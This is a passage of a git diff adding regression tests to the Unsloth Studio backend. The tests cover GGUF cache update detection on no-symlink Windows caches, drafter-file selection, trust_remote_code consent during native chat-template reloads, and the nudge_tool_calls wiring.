+    """The shim's contract is to forward force_download unchanged to the shared helper (which owns the
+    cache-first early-return and bypass). Verify both False and True reach it (X2/F2)."""
     import utils.hf_xet_fallback as X
 
-    cached_path = "/cache/blob/cached.gguf"
+    seen = []
 
-    # Pretend the blob IS cached on disk (try_to_load_from_cache is imported
-    # inside the function from huggingface_hub, and os.path.exists must agree).
-    monkeypatch.setattr(hf, "try_to_load_from_cache", lambda *a, **k: cached_path, raising = False)
-    monkeypatch.setattr(X.os.path, "exists", lambda p: True, raising = False)
+    def fake_shared(repo_id, filename, token, **kwargs):
+        seen.append(kwargs.get("force_download"))
+        return "/downloaded/path"
 
-    attempts = []
+    monkeypatch.setattr(X, "_shared_hf_hub_download_with_xet_fallback", fake_shared, raising = True)
 
-    def fake_attempt(repo_id, filename, token, **kwargs):
-        attempts.append(
-            {"repo_id": repo_id, "filename": filename, "force": kwargs.get("force_download")}
-        )
-        return ("ok", "/freshly/downloaded/path")
-
-    monkeypatch.setattr(X, "_run_download_attempt", fake_attempt, raising = True)
-
-    # force_download=False: cache-first early-return, no download attempt.
-    out = X.hf_hub_download_with_xet_fallback(
+    X.hf_hub_download_with_xet_fallback(
         "unsloth/repo", "model.gguf", token = None, force_download = False
     )
-    assert out == cached_path
-    assert attempts == []  # never reached the real download
-
-    # force_download=True: bypass the early-return, run the real download.
-    out2 = X.hf_hub_download_with_xet_fallback(
+    X.hf_hub_download_with_xet_fallback(
         "unsloth/repo", "model.gguf", token = None, force_download = True
     )
-    assert out2 == "/freshly/downloaded/path"
-    assert len(attempts) == 1
-    assert attempts[0]["force"] is True
+    assert seen == [False, True]  # the shim forwards force_download to the shared helper unchanged
 
 
 # ── multi-revision GGUF blob comparison and update reclaim ──
@@ -400,14 +382,148 @@ def test_repo_gguf_blob_map_collects_all_revision_blobs():
     """Every cached revision's blob for a gguf file is kept as a set, not
     collapsed to one arbitrary blob."""
     repo_info = SimpleNamespace(
+        repo_path = "/",  # real blobs live at <repo_path>/blobs/<etag>
         revisions = [
             _rev(("lfm2-350m-q4_k_m.gguf", "OLDsha")),
             _rev(("lfm2-350m-q4_k_m.gguf", "NEWsha")),
-        ]
+        ],
     )
     assert CI._repo_gguf_blob_map(repo_info) == {"lfm2-350m-q4_k_m.gguf": {"OLDsha", "NEWsha"}}
 
 
+# ── no-symlink (Windows without Developer Mode) GGUF update detection ──
+#
+# Regression for the phantom "Update available" that NEVER clears (#7060). Without
+# the symlink privilege, hf_hub_download MOVES the blob into snapshots/ instead of
+# symlinking it, so blobs/ is empty and scan_cache_dir reports blob_path = the
+# snapshot file. Its name is the FILENAME, not an etag, so a remote-vs-local sha256
+# comparison can never match and every cached GGUF reports an update forever --
+# which re-downloading cannot fix, since the same file is rewritten with no blob.
+
+
+def _rev_no_symlink(*files):
+    """A revision whose GGUFs were MOVED into snapshots/ (no blobs/ entry)."""
+    return SimpleNamespace(
+        files = [
+            SimpleNamespace(
+                file_name = name,
+                blob_path = f"/hf/models--org--repo/snapshots/{'a' * 40}/{name}",
+                size_on_disk = size,
+            )
+            for name, size in files
+        ]
+    )
+
+
+def _requirement(*expected):
+    from hub.utils.download_manifest import ExpectedFile
+    from hub.utils.gguf_plan import GgufVariantPlan
+
+    expected_files = tuple(
+        ExpectedFile(path = path, size = size, sha256 = sha) for path, size, sha in expected
+    )
+    return GgufVariantPlan(
+        main_filenames = frozenset(e.path for e in expected_files),
+        target_filenames = tuple(e.path for e in expected_files),
+        main_hashes = frozenset(e.sha256 for e in expected_files if e.sha256),
+        required_hashes = frozenset(e.sha256 for e in expected_files if e.sha256),
+        companion_hashes = frozenset(),
+        mmproj_filenames = frozenset(),
+        mmproj_hashes = frozenset(),
+        expected_files = expected_files,
+        main_size_bytes = sum(e.size for e in expected_files),
+        download_size_bytes = sum(e.size for e in expected_files),
+    )
+
+
+def test_repo_gguf_blob_map_uses_size_identity_when_cache_has_no_blob():
+    """A snapshot-resident GGUF (no blobs/ entry) must NOT be recorded under its
+    filename as if that were a hash -- it gets a size identity instead."""
+    repo_info = SimpleNamespace(
+        repo_path = "/hf/models--org--repo",
+        revisions = [_rev_no_symlink(("model-Q4_K_M.gguf", 4096))],
+    )
+
+    assert CI._repo_gguf_blob_map(repo_info) == {
+        "model-Q4_K_M.gguf": {CI.local_size_identity(4096)}
+    }
+
+
+def test_repo_gguf_blob_map_skips_snapshot_file_with_unknown_size():
+    """No blob and no readable size means no identity at all, rather than a
+    filename masquerading as a hash."""
+    repo_info = SimpleNamespace(
+        repo_path = "/hf/models--org--repo",
+        revisions = [_rev_no_symlink(("model-Q4_K_M.gguf", 0))],
+    )
+
+    assert CI._repo_gguf_blob_map(repo_info) == {}
+
+
+def test_repo_gguf_blob_map_ignores_repo_blobs_subdir_on_no_symlink():
+    """A repo that ships a GGUF under its own blobs/ subdir lands at
+    snapshots/<rev>/blobs/model.gguf on a no-symlink cache. Its parent is named
+    'blobs' but it is NOT the cache blob store, so it gets a size identity rather
+    than having its filename recorded as a hash (which would show a phantom update)."""
+    repo_path = "/hf/models--org--repo"
+    repo_info = SimpleNamespace(
+        repo_path = repo_path,
+        revisions = [
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "model-Q4_K_M.gguf",
+                        blob_path = f"{repo_path}/snapshots/{'a' * 40}/blobs/model-Q4_K_M.gguf",
+                        size_on_disk = 4096,
+                    )
+                ]
+            )
+        ],
+    )
+
+    assert CI._repo_gguf_blob_map(repo_info) == {
+        "model-Q4_K_M.gguf": {CI.local_size_identity(4096)}
+    }
+
+
+def test_no_symlink_cache_matching_remote_size_reports_no_update():
+    """The #7060 repro: a GGUF stored directly in snapshots/ whose size matches the
+    remote is CURRENT, and must not show a phantom 'update available'."""
+    local_blobs = {"model-Q4_K_M.gguf": {CI.local_size_identity(4096)}}
+    requirement = _requirement(("model-Q4_K_M.gguf", 4096, "REMOTEsha256"))
+
+    assert (
+        GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is False
+    )
+
+
+def test_no_symlink_cache_with_different_remote_size_still_reports_update():
+    """A genuine upstream change is still detected in the no-symlink layout."""
+    local_blobs = {"model-Q4_K_M.gguf": {CI.local_size_identity(4096)}}
+    requirement = _requirement(("model-Q4_K_M.gguf", 8192, "REMOTEsha256"))
+
+    assert GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is True
+
+
+def test_symlinked_cache_with_stale_blob_still_reports_update():
+    """The blob-hash path is untouched: a real blob that does not match the remote
+    sha256 is still stale, and a size-identity fallback must not rescue it."""
+    local_blobs = {"model-Q4_K_M.gguf": {"OLDsha"}}
+    requirement = _requirement(("model-Q4_K_M.gguf", 4096, "NEWsha"))
+
+    assert GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is True
+
+
+def test_symlinked_cache_with_current_blob_reports_no_update():
+    """The blob-hash path is untouched: a matching blob is current."""
+    local_blobs = {"model-Q4_K_M.gguf": {"OLDsha", "NEWsha"}}
+    requirement = _requirement(("model-Q4_K_M.gguf", 4096, "NEWsha"))
+
+    assert (
+        GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is False
+    )
+
+
 def test_reclaim_replaced_gguf_variant_prunes_old_revision_only(monkeypatch, tmp_path):
     """After a verified update, stale same-variant files/blobs are removed while
     the freshly downloaded hash and sibling variants remain cached."""
@@ -481,3 +597,42 @@ def test_reclaim_replaced_gguf_variant_prunes_old_revision_only(monkeypatch, tmp
     assert sibling_snap.exists() is True
     assert sibling_blob.exists() is True
     assert invalidated == [True]
+
+
+def test_reclaim_replaced_gguf_variant_keeps_no_symlink_current_file(monkeypatch, tmp_path):
+    """No-symlink cache (Windows without Developer Mode): the moved GGUF lives
+    directly in snapshots/ and blobs/ is empty, so scan_cache_dir reports
+    blob_path == the snapshot file and its name is the FILENAME, not an etag.
+    Reclaim must NOT mistake that filename for a stale hash and delete the
+    freshly-downloaded current file."""
+    repo_id = "org/repo-GGUF"
+    repo_path = tmp_path / "models--org--repo-GGUF"
+    snap = repo_path / "snapshots" / ("a" * 40) / "model-Q4_K_M.gguf"
+    snap.parent.mkdir(parents = True, exist_ok = True)
+    snap.write_bytes(b"current-download")
+    (repo_path / "blobs").mkdir(parents = True, exist_ok = True)  # empty: moved, not linked
+
+    repo_info = SimpleNamespace(
+        repo_id = repo_id,
+        repo_type = "model",
+        repo_path = repo_path,
+        revisions = [
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "model-Q4_K_M.gguf",
+                        file_path = str(snap),
+                        blob_path = str(snap),  # no-symlink: blob_path == the snapshot file
+                    )
+                ]
+            )
+        ],
+    )
+    monkeypatch.setattr(CI, "all_hf_cache_scans", lambda: [SimpleNamespace(repos = [repo_info])])
+    monkeypatch.setattr(CI, "invalidate_hf_cache_scans", lambda: None)
+
+    result = D.reclaim_replaced_gguf_variant(repo_id, "Q4_K_M", frozenset({"REMOTEsha256"}))
+
+    assert snap.exists() is True  # the current file must survive
+    assert result["removed_snapshots"] == 0
+    assert result["deleted_blobs"] == 0
diff --git a/studio/backend/tests/test_mtp_drafter_companion.py b/studio/backend/tests/test_mtp_drafter_companion.py
index d5e8d13652..02230632b6 100644
--- a/studio/backend/tests/test_mtp_drafter_companion.py
+++ b/studio/backend/tests/test_mtp_drafter_companion.py
@@ -23,7 +23,11 @@ if _BACKEND_DIR not in sys.path:
 
 from hub.utils.download_manifest import ExpectedFile
 from hub.utils.gguf import is_mtp_drafter_path
-from hub.utils.gguf_plan import build_gguf_variant_plans, plan_from_expected_files
+from hub.utils.gguf_plan import (
+    build_gguf_variant_plans,
+    plan_from_expected_files,
+    preferred_mtp_sibling,
+)
 from utils.models.model_config import (
     _is_mtp_drafter,
     detect_gguf_model,
@@ -37,6 +41,8 @@ from utils.models.model_config import (
 DRAFTER_CASES = [
     ("mtp-gemma-4-12b-it.gguf", True),
     ("MTP/gemma-4-12b-it-Q8_0-MTP.gguf", True),
+    # New-scheme MTP/ copies carry the mtp- basename prefix too.
+    ("MTP/mtp-gemma-4-E4B-it-BF16.gguf", True),
     ("foo/MTP/bar.gguf", True),
     ("gemma-4-12b-it-Q8_0.gguf", False),
     # Baked-in Qwen MTP repos: the head is inside the main GGUF, the file
@@ -274,3 +280,206 @@ def test_detect_gguf_model_rejects_mtp_subdir_copy(tmp_path):
     assert detect_gguf_model(str(copy)) is None
     # Selecting the MTP dir itself must not surface the copies as models.
     assert detect_gguf_model(str(sub)) is None
+
+
+# ── Root drafter wins over new-scheme MTP/ copies ────────────────────
+# The MTP/ copies were renamed to share the mtp- basename prefix (e.g.
+# MTP/mtp-gemma-4-E4B-it-BF16.gguf). Auto-fetch/load must still resolve the
+# small repo-root drafter, not a sort-first MTP/ copy (uppercase precedes
+# lowercase, so the subdir path would otherwise win).
+
+NEW_SCHEME_SIBLINGS = [
+    _sib("gemma-4-12b-it-Q4_K_M.gguf", 4_000, "main-q4"),
+    _sib("gemma-4-12b-it-Q8_0.gguf", 8_000, "main-q8"),
+    _sib("mtp-gemma-4-12b-it.gguf", 100, "drafter"),
+    _sib("MTP/mtp-gemma-4-12b-it-Q8_0.gguf", 100, "mtp-sub-q8"),
+    _sib("MTP/mtp-gemma-4-12b-it-BF16.gguf", 200, "mtp-sub-bf16"),
+    _sib("mmproj-F16.gguf", 500, "mmproj"),
+]
+
+
+def test_preferred_mtp_sibling_prefers_root_over_new_scheme_copies():
+    picked = preferred_mtp_sibling(NEW_SCHEME_SIBLINGS)
+    assert picked is not None and picked.rfilename == "mtp-gemma-4-12b-it.gguf"
+
+
+def test_variant_plans_new_scheme_uses_root_drafter():
+    plans = build_gguf_variant_plans(NEW_SCHEME_SIBLINGS)
+    assert set(plans) == {"q4_k_m", "q8_0"}
+    for plan in plans.values():
+        assert "mtp-gemma-4-12b-it.gguf" in plan.target_filenames
+        assert not any("MTP/" in name for name in plan.target_filenames)
+        assert "drafter" in plan.companion_hashes
+    # Download size = main + mmproj + root drafter (not the 200-byte BF16 copy).
+    assert plans["q4_k_m"].download_size_bytes == 4_600
+
+
+def test_download_mtp_prefers_root_over_new_scheme_copies(monkeypatch):
+    # _pick_mtp is nested; capture it via the companion-download seam.
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)  # online: skip reuse probe
+    captured = {}
+
+    def _fake_companion(
+        *,
+        hf_repo,
+        hf_token,
+        pick,
+        label,
+        cancel_event = None,
+        near_path = None,
+    ):
+        captured["pick"] = pick
+        return None
+
+    b = LlamaCppBackend()
+    b._download_companion_gguf = _fake_companion
+    b._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+
+    repo_files = [
+        "MTP/mtp-gemma-4-E4B-it-BF16.gguf",
+        "MTP/mtp-gemma-4-E4B-it-Q4_0.gguf",
+        "MTP/mtp-gemma-4-E4B-it-Q8_0.gguf",
+        "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf",
+        "mmproj-F16.gguf",
+        "mtp-gemma-4-E4B-it.gguf",
+    ]
+    assert captured["pick"](repo_files) == "mtp-gemma-4-E4B-it.gguf"
+
+
+# ── Reuse an on-disk drafter offline; fetch fresh online ─────────────
+
+
+def _seed_snapshot(tmp_path, names):
+    snap = tmp_path / "snap"
+    for rel in names:
+        f = snap / rel
+        f.parent.mkdir(parents = True, exist_ok = True)
+        f.write_bytes(b"x")
+    return snap
+
+
+def test_download_mtp_reuses_cached_root_drafter_offline(tmp_path, monkeypatch):
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    snap = _seed_snapshot(
+        tmp_path,
+        [
+            "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf",
+            "mtp-gemma-4-E4B-it.gguf",
+            "MTP/mtp-gemma-4-E4B-it-BF16.gguf",
+            "mmproj-F16.gguf",
+        ],
+    )
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+    assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf"
+
+
+def test_download_mtp_reuses_cached_subdir_copy_when_no_root_offline(tmp_path, monkeypatch):
+    # Pre-fix build may have fetched only the MTP/ copy; reuse it offline.
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    snap = _seed_snapshot(
+        tmp_path,
+        [
+            "gemma-4-E4B-it-qat-UD-Q2_K_XL.gguf",
+            "MTP/mtp-gemma-4-E4B-it-BF16.gguf",
+        ],
+    )
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+    assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it-BF16.gguf"
+
+
+def test_download_mtp_prefers_root_across_snapshots_offline(tmp_path, monkeypatch):
+    # A newer partial snapshot holds only the MTP/ copy; an older one has the
+    # root. Must still return the small root, not the large subdir copy.
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    snap_partial = _seed_snapshot(tmp_path / "new", ["MTP/mtp-gemma-4-E4B-it-BF16.gguf"])
+    snap_full = _seed_snapshot(tmp_path / "old", ["mtp-gemma-4-E4B-it.gguf"])
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap_partial, snap_full])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+    assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf"
+
+
+def test_download_mtp_reuse_follows_snapshot_order_offline(tmp_path, monkeypatch):
+    # Two snapshots both hold a root drafter; newest-first order must win so a
+    # fresh main GGUF is not paired with a stale drafter revision.
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    newest = _seed_snapshot(tmp_path / "newest", ["mtp-gemma-4-E4B-it.gguf"])
+    oldest = _seed_snapshot(tmp_path / "oldest", ["mtp-gemma-4-E4B-it.gguf"])
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [newest, oldest])
+
+    got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF")
+    assert got is not None and Path(got).parent.parent.name == "newest"
+
+
+def test_download_mtp_prefers_main_snapshot_offline(tmp_path, monkeypatch):
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    snapshots = tmp_path / "models--unsloth--gemma" / "snapshots"
+    old = snapshots / "old"
+    new = snapshots / "new"
+    old.mkdir(parents = True)
+    new.mkdir(parents = True)
+    main = old / "gemma-UD-Q4_K_XL.gguf"
+    old_drafter = old / "mtp-gemma.gguf"
+    new_drafter = new / "mtp-gemma.gguf"
+    main.write_bytes(b"main")
+    old_drafter.write_bytes(b"old")
+    new_drafter.write_bytes(b"new")
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda _repo: [new, old])
+
+    got = LlamaCppBackend()._download_mtp(
+        hf_repo = "unsloth/gemma-GGUF",
+        near_path = str(main),
+    )
+
+    assert got == str(old_drafter)
+
+
+def test_download_mtp_online_skips_cache_reuse(tmp_path, monkeypatch):
+    # Online, do not reuse a cached copy: go to the download path so a changed
+    # drafter is refetched (hf_hub_download checks the current revision).
+    import utils.models.model_config as mc
+    from core.inference.llama_cpp import LlamaCppBackend
+
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    snap = _seed_snapshot(tmp_path, ["mtp-gemma-4-E4B-it.gguf"])
+    monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap])
+
+    reached = {}
+
+    def _fake_companion(
+        *,
+        hf_repo,
+        hf_token,
+        pick,
+        label,
+        cancel_event = None,
+        near_path = None,
+    ):
+        reached["hit"] = True
+        return None
+
+    b = LlamaCppBackend()
+    b._download_companion_gguf = _fake_companion
+    assert b._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") is None
+    assert reached.get("hit") is True
diff --git a/studio/backend/tests/test_native_template_trust_remote_code.py b/studio/backend/tests/test_native_template_trust_remote_code.py
new file mode 100644
index 0000000000..60dc80f64c
--- /dev/null
+++ b/studio/backend/tests/test_native_template_trust_remote_code.py
@@ -0,0 +1,176 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for trust_remote_code in the native-template fallback.
+
+``render_native_template`` re-fetches a model's native chat template from its
+repo when an Unsloth override template (mistral, gemma-4) dropped the tools
+schema. For a model loaded with ``trust_remote_code=True`` whose tokenizer repo
+carries custom code, the secondary ``AutoTokenizer.from_pretrained`` must re-use
+that same consent or transformers raises (it requires ``trust_remote_code`` to
+instantiate a custom tokenizer class), the ``except`` swallows it, and the
+request silently keeps the tool-dropping prompt even though the user already
+consented to remote code for the model load.
+
+These tests pin that the stored ``trust_remote_code`` is threaded to the reload,
+that the reload is skipped (returns ``None`` without executing code) when no
+consent is stored, and that both backend ``model_info`` dicts persist the flag at
+load time so the read lands on a value ``load_model`` actually set.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# ``chat_template_helpers`` is dependency-light (copy / logging / typing, with the
+# transformers import deferred inside the function). Load it directly so the test
+# runs without importing the heavy ``core.inference`` package (unsloth / torch).
+_HELPERS_PATH = Path(_BACKEND_DIR) / "core" / "inference" / "chat_template_helpers.py"
+_spec = importlib.util.spec_from_file_location("_native_tpl_trc_test", _HELPERS_PATH)
+chat_template_helpers = importlib.util.module_from_spec(_spec)
+_spec.loader.exec_module(chat_template_helpers)
+
+render_native_template = chat_template_helpers.render_native_template
+
+
+# A native template that emits a tools section only when tools are provided, so the
+# with-tools vs no-tools render differs and ``render_native_template`` accepts it.
+_NATIVE_TEMPLATE = (
+    "{% for m in messages %}{{ m['role'] }}: {{ m['content'] }}\n{% endfor %}"
+    "{% if tools %}[AVAILABLE_TOOLS]{{ tools }}[/AVAILABLE_TOOLS]\n{% endif %}"
+    "{% if add_generation_prompt %}assistant:{% endif %}"
+)
+
+_MESSAGES = [{"role": "user", "content": "what is the weather"}]
+_TOOLS = [{"type": "function", "function": {"name": "get_weather"}}]
+
+
+class _JinjaTokenizer:
+    """Minimal tokenizer whose ``apply_chat_template`` renders ``self.chat_template``.
+
+    Stands in for the live model tokenizer that ``render_native_template`` shallow-
+    copies and re-points at the native template before rendering.
+    """
+
+    def __init__(self, chat_template):
+        self.chat_template = chat_template
+
+    def apply_chat_template(
+        self,
+        messages,
+        tokenize = False,
+        add_generation_prompt = True,
+        tools = None,
+        **kwargs,
+    ):
+        from jinja2 import BaseLoader, Environment
+        env = Environment(loader = BaseLoader())
+        return env.from_string(self.chat_template).render(
+            messages = messages,
+            tools = tools,
+            add_generation_prompt = add_generation_prompt,
+        )
+
+
+def _install_custom_code_tokenizer(monkeypatch):
+    """Patch ``AutoTokenizer.from_pretrained`` to mimic a custom-code repo: raise
+    unless ``trust_remote_code`` is truthy, else return a tokenizer carrying the
+    native template. Records the ``trust_remote_code`` it was called with."""
+    pytest.importorskip("jinja2")
+    from transformers import AutoTokenizer
+
+    calls = {}
+
+    def fake_from_pretrained(
+        model_id,
+        *args,
+        trust_remote_code = False,
+        token = None,
+        **kwargs,
+    ):
+        calls["trust_remote_code"] = trust_remote_code
+        calls["model_id"] = model_id
+        calls["token"] = token
+        if not trust_remote_code:
+            # Mirrors transformers.dynamic_module_utils.resolve_trust_remote_code:
+            # has_remote_code and not has_local_code and not trust_remote_code -> ValueError.
+            raise ValueError(
+                f"The repository {model_id} contains custom code which must be executed "
+                "to correctly load the model. Please pass the argument "
+                "`trust_remote_code=True` to allow custom code to be run."
+            )
+        return _JinjaTokenizer(_NATIVE_TEMPLATE)
+
+    monkeypatch.setattr(AutoTokenizer, "from_pretrained", staticmethod(fake_from_pretrained))
+    return calls
+
+
+def _model_info(trust_remote_code):
+    return {
+        "native_chat_template": None,  # force the repo reload path
+        "base_model": None,  # non-LoRA: template_source == active_model_name
+        "trust_remote_code": trust_remote_code,
+        # Live tokenizer that gets shallow-copied + re-pointed at the native template.
+        "tokenizer": _JinjaTokenizer("OVERRIDE-THAT-DROPS-TOOLS"),
+    }
+
+
+def test_native_reload_passes_stored_trust_remote_code(monkeypatch):
+    """With ``trust_remote_code`` stored on ``model_info`` the custom-code reload
+    succeeds and the tools-advertising native prompt is returned. This FAILS before
+    the fix (reload omits the flag, raises, is swallowed, returns None)."""
+    calls = _install_custom_code_tokenizer(monkeypatch)
+    model_info = _model_info(trust_remote_code = True)
+
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "acme/custom-tokenizer-model",
+        messages = _MESSAGES,
+        tools = _TOOLS,
+    )
+
+    assert out is not None, "native fallback should render the tools prompt with consent"
+    assert "[AVAILABLE_TOOLS]" in out
+    assert "get_weather" in out
+    assert calls["trust_remote_code"] is True  # the stored consent was threaded through
+    # A successful fetch is cached so the next tool turn skips the reload.
+    assert model_info["native_chat_template"] == _NATIVE_TEMPLATE
+
+
+def test_native_reload_without_consent_returns_none(monkeypatch):
+    """Without stored consent the custom-code reload raises, is swallowed, and
+    ``render_native_template`` returns None (no unconsented code execution). Proves
+    the stored flag -- not a hard-coded True -- drives the reload."""
+    calls = _install_custom_code_tokenizer(monkeypatch)
+    model_info = _model_info(trust_remote_code = False)
+
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "acme/custom-tokenizer-model",
+        messages = _MESSAGES,
+        tools = _TOOLS,
+    )
+
+    assert out is None
+    assert calls["trust_remote_code"] is False
+    # A failed fetch must not be cached as "no template" (would pin the tool drop).
+    assert model_info["native_chat_template"] is None
+
+
+def test_backend_model_info_persists_trust_remote_code():
+    """Both backends must store ``trust_remote_code`` on their per-model info dict so
+    ``render_native_template`` can source the consent value. Guards against the read
+    landing on a key ``load_model`` never sets (which would silently no-op the fix)."""
+    inf = (Path(_BACKEND_DIR) / "core" / "inference" / "inference.py").read_text()
+    mlx = (Path(_BACKEND_DIR) / "core" / "inference" / "mlx_inference.py").read_text()
+    assert '"trust_remote_code": trust_remote_code,' in inf
+    assert '"trust_remote_code": trust_remote_code,' in mlx
diff --git a/studio/backend/tests/test_nudge_tool_calls_wiring.py b/studio/backend/tests/test_nudge_tool_calls_wiring.py
new file mode 100644
index 0000000000..e03fd0c7d7
--- /dev/null
+++ b/studio/backend/tests/test_nudge_tool_calls_wiring.py
@@ -0,0 +1,99 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Wiring guard for the plan-without-action ``nudge_tool_calls`` policy.
+
+Decided policy: the re-prompt is ALWAYS ON for the Studio inference paths
+(safetensors, GGUF/llama_cpp, MLX) and OPT-IN for the API (/v1 OpenAI-compat +
+Anthropic-compat, controlled by the request's ``nudge_tool_calls``, default off).
+
+Mechanism (verified here without loading a model):
+
+  * every backend tool-loop entry point accepts and forwards ``nudge_tool_calls``
+    (safetensors -> ``InferenceBackend``; MLX -> ``InferenceOrchestrator``; both
+    call the shared ``run_safetensors_tool_loop``; GGUF -> ``LlamaCppBackend``);
+  * the safetensors/MLX loop gates the retry on a truthy flag (new retry ->
+    opt-in), while the GGUF loop keeps its pre-existing default-on behaviour
+    (``None`` keeps nudging) so an omitted flag never disables GGUF;
+  * the API request models default the flag to ``None`` (opt-in / off);
+  * the Studio-facing routes forward the request's flag, and the Studio frontend
+    sends ``nudge_tool_calls: true`` -- exercised behaviourally in
+    ``test_safetensors_tool_loop.py`` and ``test_llama_cpp_tool_loop.py``.
+"""
+
+import inspect
+
+from core.inference.llama_cpp import LlamaCppBackend
+from core.inference.orchestrator import InferenceOrchestrator
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+try:
+    # core.inference.inference imports unsloth at module scope, which requires
+    # unsloth_zoo. The dependency-light backend CI matrix job does not install
+    # it, so the safetensors InferenceBackend is folded into the checks below
+    # only when the unsloth stack is importable (local runs / full CI); the
+    # other entry points are always checked.
+    from core.inference.inference import InferenceBackend
+except ImportError:
+    InferenceBackend = None
+
+
+def _params(fn):
+    return inspect.signature(fn).parameters
+
+
+def test_shared_loop_accepts_nudge_flag():
+    assert "nudge_tool_calls" in _params(run_safetensors_tool_loop)
+
+
+def test_backends_accept_the_flag():
+    methods = [
+        InferenceOrchestrator.generate_chat_completion_with_tools,
+        LlamaCppBackend.generate_chat_completion_with_tools,
+    ]
+    if InferenceBackend is not None:  # safetensors path; needs the unsloth stack
+        methods.append(InferenceBackend.generate_chat_completion_with_tools)
+    for method in methods:
+        assert "nudge_tool_calls" in _params(method), method.__qualname__
+
+
+def test_delegating_backends_forward_the_flag_to_the_shared_loop():
+    # safetensors (in-process transformers) and MLX (parent-process orchestrator)
+    # both delegate to run_safetensors_tool_loop; GGUF runs its own in-file loop
+    # and consumes the flag directly (asserted separately by the gate test).
+    methods = [InferenceOrchestrator.generate_chat_completion_with_tools]
+    if InferenceBackend is not None:  # safetensors path; needs the unsloth stack
+        methods.append(InferenceBackend.generate_chat_completion_with_tools)
+    for method in methods:
+        src = inspect.getsource(method)
+        assert "nudge_tool_calls = nudge_tool_calls" in src, method.__qualname__
+
+
+def test_safetensors_loop_is_opt_in_while_gguf_stays_default_on():
+    # Safetensors/MLX: the retry is new here, so it requires a truthy flag.
+    sf_src = inspect.getsource(run_safetensors_tool_loop)
+    assert "and nudge_tool_calls" in sf_src
+    # GGUF: pre-existing nudge must not be accidentally disabled -- an omitted
+    # (None) flag keeps nudging; only an explicit False turns it off.
+    gguf_src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools)
+    assert "nudge_tool_calls is None or nudge_tool_calls" in gguf_src
+
+
+def test_api_request_models_default_the_flag_off():
+    from models.inference import AnthropicMessagesRequest, ChatCompletionRequest
+    for model in (ChatCompletionRequest, AnthropicMessagesRequest):
+        field = model.model_fields["nudge_tool_calls"]
+        assert field.default is None, model.__name__
+
+
+def test_studio_routes_forward_the_request_flag():
+    # The Studio chat frontend posts to /v1/chat/completions and /v1/messages
+    # with nudge_tool_calls=true; the route handlers forward the request value
+    # (external API clients that omit it fall back to the opt-in default).
+    from routes import inference as routes_inference
+    for handler in (
+        routes_inference.openai_chat_completions,
+        routes_inference.anthropic_messages,
+    ):
+        src = inspect.getsource(handler)
+        assert "nudge_tool_calls = payload.nudge_tool_calls" in src, handler.__name__
diff --git a/studio/backend/tests/test_nvfp4_load_error_message.py b/studio/backend/tests/test_nvfp4_load_error_message.py
new file mode 100644
index 0000000000..4a1195fc8a
--- /dev/null
+++ b/studio/backend/tests/test_nvfp4_load_error_message.py
@@ -0,0 +1,154 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""NVFP4 load failures should not expose verbose MLX quantization metadata."""
+
+import asyncio
+import importlib.util
+from pathlib import Path
+from unittest.mock import MagicMock, patch
+
